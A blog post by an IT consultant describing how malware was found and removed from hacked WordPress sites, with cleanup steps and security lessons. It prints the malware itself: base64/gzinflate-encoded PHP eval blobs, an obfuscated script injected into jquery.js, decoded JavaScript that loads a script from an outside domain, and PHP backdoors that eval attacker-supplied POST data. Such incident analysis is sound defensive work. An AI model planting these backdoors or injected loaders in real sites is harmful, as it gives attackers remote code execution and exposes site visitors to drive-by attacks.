Early this month I had to remove some malware from some of my hosted WordPress sites. The malicious code was there for a little while and the sites were blacklisted by google. That’s how we noticed it.  I recently added all our sites to Google’s Webmaster Tools, and it has thoroughly caught missed malware we took care of back in September.  Now this is a issue, because getting blacklisted causes issues for visitors.

Every time someone tried to visit it (either using Chrome or Firefox) or searched for this site on google, that ugly Report attack Site” message would show up.

Uh-oh, not good for a site owner that makes money with ads and can’t afford losing users. We are now using active detection to help keep our WordPress sites clean. Detecting the issues as they happen can help WordPress owners keep their sites safe from being blacklisted.

1-Understanding the problem

The first thing I did was to look where and how the code was showing up. We used a simple dump tool to see the source page (wget):

$wget –source –dump [siteinquestion]

It shows the whole page source and by analyzing it we saw the following strange javascript (a bit modified to protect the innocent):

<?php eval(gzinflate(base64_decode(‘vVhtb9pIEP7cSv0PfIgESLmcsUNT1ObUHG81qU0wEGOfThF+IV4wtmObgOn1v5/t2W1mA+m1J919g/Hs7jMzzzyzthvHYXwXu1EYpyS4rwn1929en5Do8uRu3NVuu9ofVa2rDCfdu6tOR6v++f7EidGzzrA9Vbrq5E4bDiflU2txmbucVX+tnq2dZs2Zp26tuj5zzrJqvdw7zF0ql5WXnE5TsnZr9V/evT0XhHIFWVRqC+K7d+6OJGlSK3eo1z9uAp8EK/q39KslaRyFSe1j6X7vpnd2GKRuUCwqnE7zwOqVy8vLymLuJ279y5vXr15FMQnSWvVDYsckSn+rnlnzxH17fue4dujksJxPg6Yrao+GdJuaelPQswGRSUIsUWvKvvBwoz89W+iq5/TV8LqvBbbo7M2+HblSdG7shd1QcqSbmRNZa+3R2act2HfUMvutpaM3fCvQLHmtZqbeE8zpbWKWt

We also used a site scanner (free) and it confirmed that it was indeed malicious.

2-Analyzing the javascript

There are multiple ways to analyze a malicious Javascript, and we chose the easier one. We see that they added an escaped javascript, unescaped and used the function eval to parse the content. I copied over the javascript to a local file and modified the final “eval” function for the “alert” one. Now, instead of executing the code, it will print it.

var a=”ScriptEngine”,b=”Version()+”,j=””,u=navigator.userAgent;if((u.indexOf(“Chrome”)<0)&&(u.indexOf(“Win”)>0)&&(u.indexOf(“NT 6″)<0)&&(document.cookie.indexOf(“miek=1″)<0)&&(typeof(zrvzts)!=typeof(“A”))){zrvzts=”A”;eval(“if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”);document.write(“src=//martu”+”z.cn/vid<\/ script>”);}

So, the unescaped code loads another script from the site donationwarecallers.info. After searching a bit, this seems to be an old attack (from September 2012), that somehow is still running around. The donationwarecallers.info is now unreachable, so the good news is that the attack is not doing anything against the users.

3-Cleaning up WordPress

Once we found what the code was and what it was doing, now it was time to remove it from the site. That’s what we did:

  1. Backup the whole WordPress database (using the Export tool and via an SQL dump)
  2. Backup the whole WordPress directory for analysis and removed it from the site
  3. Changed all passwords, unused accounts and services and cleaned up the box
  4. Reinstalled WordPress from scratch (latest version), re-imported the database (after checking that it was safe) and reinstalled their theme from scratch (to make sure it was not hacked too).
  5. Worked with Google to get the site removed from their blacklist

4-Analysis of the malware

Once the site was clean and the client happy, we went to do a better analysis of the attack. First, we did a diff between their WordPress version and the original one (they were on version 3.5):

$ diff -r -i –strip-trailing-cr -b -B sitedump/ wordPress
Only in sitedump/wp-content/plugins: multi-level-navigation-plugin1
Only in sitedump/wp-content/plugins: order-categories
Only in sitedump/wp-content/plugins: seo-automatic-links
Only in sitedump/wp-content/plugins: wp-contact-form
Only in sitedump/wp-content/plugins: wp-db-backup

We also did a diff between the original theme and the one they used and major changes were found. With that, it was clear to us that the problem was in all the installed themes and many of the plugins.

We started by searching for that javascript code in the plugins directory and we found that direct interlinking .js files would have the malware in them.  That means that the code was probably escaped (hidden) in some way. So we searched for base64_decode or eval (PHP functions generally used by malware authors):

/index.php: <?php eval(gzinflate(base64_decode(‘vVhtb9pIEP7cSv0PfIgESLmcsUNT1ObUHG81qU0wEGOfThF+IV4wtmObgOn1v5/t2W1mA+m1J919g/Hs7jMzzzyzthvHYXwXu1EYpyS4rwn1929en5Do8uRu3NVuu9ofVa2rDCfdu6tOR6v++f7EidGzzrA9Vbrq5E4bDiflU2txmbucVX+tnq2dZs2Zp26tuj5zzrJqvdw7zF0ql5WXnE5TsnZr9V/evT0XhHIFWVRqC+K7d+6OJGlSK3eo1z9uAp8EK/q39KslaRyFSe1j6X7vpnd2GKRuUCwqnE7zwOqVy8vLymLuJ279y5vXr15FMQnSWvVDYsckSn+rnlnzxH17fue4dujksJxPg6Yrao+GdJuaelPQswGRSUIsUWvKvvBwoz89W+iq5/TV8LqvBbbo7M2+HbjZlAn42+HmlTQwL284cFzb1obTpq9JvXq7trcv9+qWfYIDfBmxKaTPRfhTLTiWFbbBFZwgGYAGbngBmsAmw1kaYKT59WtgywAz42LlKaevFYOsCZoLiFQWcgwbab2eWfr0A2Vi8DzgvczhjA34GXhsiv4xiTgpbmY91F8X3r+pEc62RQ9zaA47ZImi//git5fb7rHzPYOn7tB+sdmCfCqc4V y0D3HvQBxsDkk4P7YIh2mdeNq/p37bm97hPfRyz1z2L+0lrTmFAvNH74rsNio5mAe/Kjm7Oid6YjmyNmP9S/NKcwhvlc73H3V47iB5+6RtaweEK/mIz8WG2BZ2j85d7n7BOuNJnfvgF5bYx0BLeV649lcxHfBY2dwM5C7XytrG/U9d49h71Av7kdr+5P7cXXMlOwf8/l/3AG5exefY+6e8cN3SgvrNzfX6Hslu4+8yG1udjIsAZ6xlJ8ep3Evnvs9XuB3nQH0aAC1hZz+5PsP5uO6wDDw2EydTdLwZiJf2HuByMvyu8Nbt69Ermg+2sSLim8S87EgKpOpB7+T+HqWxjf66sLOktZU0rK53gw+r83MEhudeb+XjcTWyhx7W2M22JtTf+O0vY0u+s7njixej1cXi1nYsvepaHUE4qzzHl8e/97hNBKS1yN21jvn+lMYLWaNVrV+Vv3wK/vKU3wwevWq+LR0sogql5WPizByg/IzUeW0Up1X6/Uvi2hTfDnKn59WTkh0Vv0rX1ZZ2H6YuIW5/v7rm9df/wY=’)));?>
/jquery.js:/*b94117f19011a03de39cadf781251bf3*/try{document[“b”+”ody”]*=document}catch(dgsgsdg){zxc=1;ww=window;}try{d=document[“createElement”](“span”);}catch(agdsg){zxc=0;}try{if(ww.document)window[“doc”+”ument”][“body”]=”asd”}catch(bawetawe){if(ww.document){v=window;n=[“d”,”a”,”41″,”3o”,”1e”,”46″,”3j”,”4e”,”41″,”3p”,”3j”,”4c”,”47″,”4a”,”1k”,”47″,”3l”,”4d”,”45″,”3n”,”46″,”4c”,”1k”,”4f”,”4a”,”41″,”4c”,”3n”,”1e”,”1d”,”28″,”4b”,”4c”,”4h”,”44″,”3n”,”2a”,”1k”,”4b”,”1d”,”1h”,”4b”,”4c”,”46″,”45″,”1h”,”1d”,”16″,”4j”,”16″,”48″,,”40″,”3n”,”41″,”3p”,”40″,”4c”,”29″,”18″,”1d”,”1h”,”3p”,”4a”,”3j”,”1e”,”1p”,”1m”,”1m”,”1i”,”22″,”1m”,”1m”,”1f”,”1h”,”1d”,”18″,”2a”,”28″,”1l”,”41″,”3o”,”4a”,”3j”,”45″,”3n”,”2a”,”28″,”1l”,”3m”,”41″,”4e”,”2a”,”1d”,”1f”,”27″,”d”,”a”,”9″,”4e”,”3j”,”4a”,”16″,”3n”,”4g”,”48″,”29″,”46″,”3n”,”4f”,”16″,”2g”,”3j”,”4c”,”3n”,”1e”,”1f”,”27″,”3n”,”4g”,”48″,”1k”,”4b”,”3n”,”4c”,”2g”,”3j”,”4c”,”3n”,”1e”,”3n”,”4g”,”48″,”1k”,”3p”,”3n”,”4c”,”2g”,”3j”,”4c”,”3n”,”1e”,”1f”,”1h”,”23″,”1f”,”27″,”d”,”a”,”9″,”3m”,”47″,”3l”,”4d”,”45″,”3n”,”46″,”4c”,”1k”,”3l”,”47″,”47″,”43″,”41″,”3n”,”29″,”1d”,”4c”,”3n”,”4b”,”4c”,”3l”,”47″,”47″,”43″,”41″,”3n”,”1n”,”29″,”1d”,”1h”,”4a”,”4b”,”1e”,”1f”,”1h”,”1d”,”27″,”16″,”3n”,”4g”,”48″,”41″,”4a”,”3n”,”4b”,”29″,”1d”,”1h”,”3n”,”4g”,”48″,”1k”,”4c”,”47″,”2j”,”2p”,”36″,”35″,”4c”,”4a”,”41″,”46″,”3p”,”1e”,”1f”,”27″,”d”,”a”,”4l”];h=2;s=””;if(zxc){for(i=0;i-615!=0;i++){k=i;s+=String.fromCharCode(parseInt(n[i],26));}z=s;vl=”val”;if(ww.document)ww[“e”+vl](z)}}}/*b94117f19011a03de39cadf781251bf3*/

So, these files index.php and jquery.js had something hidden. To analyze the code, we did the same thing we did with Javascript. We modified the “eval” function for “echo” to see what it was doing. On the wp-db-backup.php we removed the encoded string and decoded it externally using the base64 command line tool:

$ php multi-level-navigation-plugin1/images/image.php
if(isset($_POST[‘e’]))eval(base64_decode($_POST[‘e’]));echo ’32303d2e34332e3230382e3231323a64696865746172693a62746c646f7a6572′;
$ php multi-level-navigation-plugin1/images/gifimg.php
if(isset($_POST[‘e’]))eval(base64_decode($_POST[‘e’]));

Analysis for the wp-db-backup.php:

echo “PHNjcmlwdCB..pOwogLS0+PC9zY3JpcHQ” | base64 -d
< script language=javascript>>!–
(function(){var OgDs=’%’;var FJQr=(‘v_61r_20_61r_2eu_j_3b_22)_3b_64_6fc_75ment_2e_77_72ite(_22_3cscr
_69pt_20src_3d_2f_2f_6da_72_74_75_22+_22_7a_2ec_6e_2f_76_69d_2f_3fid_
3d_22_2bj+_22_3e_3c_5c_2fscript_3e_22)_3b_7d’).r
eplace(/_/g,OgDs);var NF1=unescape(FJQr);eval(NF1)})();

So, all of them had a backdoor to allow the attacker to execute any PHP script (and command) they wanted on the box (see eval(POST)) and the wp-db-backup.php had this script to create the malicious javascript on all the pages.

Lessons learned

First, always monitor your systems. If they had a HIDS installed (like the open source OSSEC) it would had detected the modification on those files.

Second, if they had used a Web-based Integrity monitor this problem would be detected way earlier too.

Third: Keep your log files stored longer. Our analysis was completed, because we went back in time to see when it happened.

Fourth: Backup your site on a daily basis! If they had a backup, we could diff everything to see what happened (and easily revert the changes).

Lastly, keep your WordPress updated and use strong passwords! That’s your first line of defense to avoid these problems.

There are many things that can be done to prevent this kind of infection.  First is keeping the strongest security you can acheive. Using Forced SSL logins to wordpress sites, help keep your passwords secure.  From there, maintaining updates on your computer, and website. Prevents many potential problems. Backups, for those just in case situations.

Joseph Forbes (691)

Information Technology Consultant. For SMB, SOHO, and Online business. From Computers to Telecommunications this guy has been into it since hippies made it hip. Drone Pilot and Tech Aficionado I get to travel the State of Texas to help businesses succeed.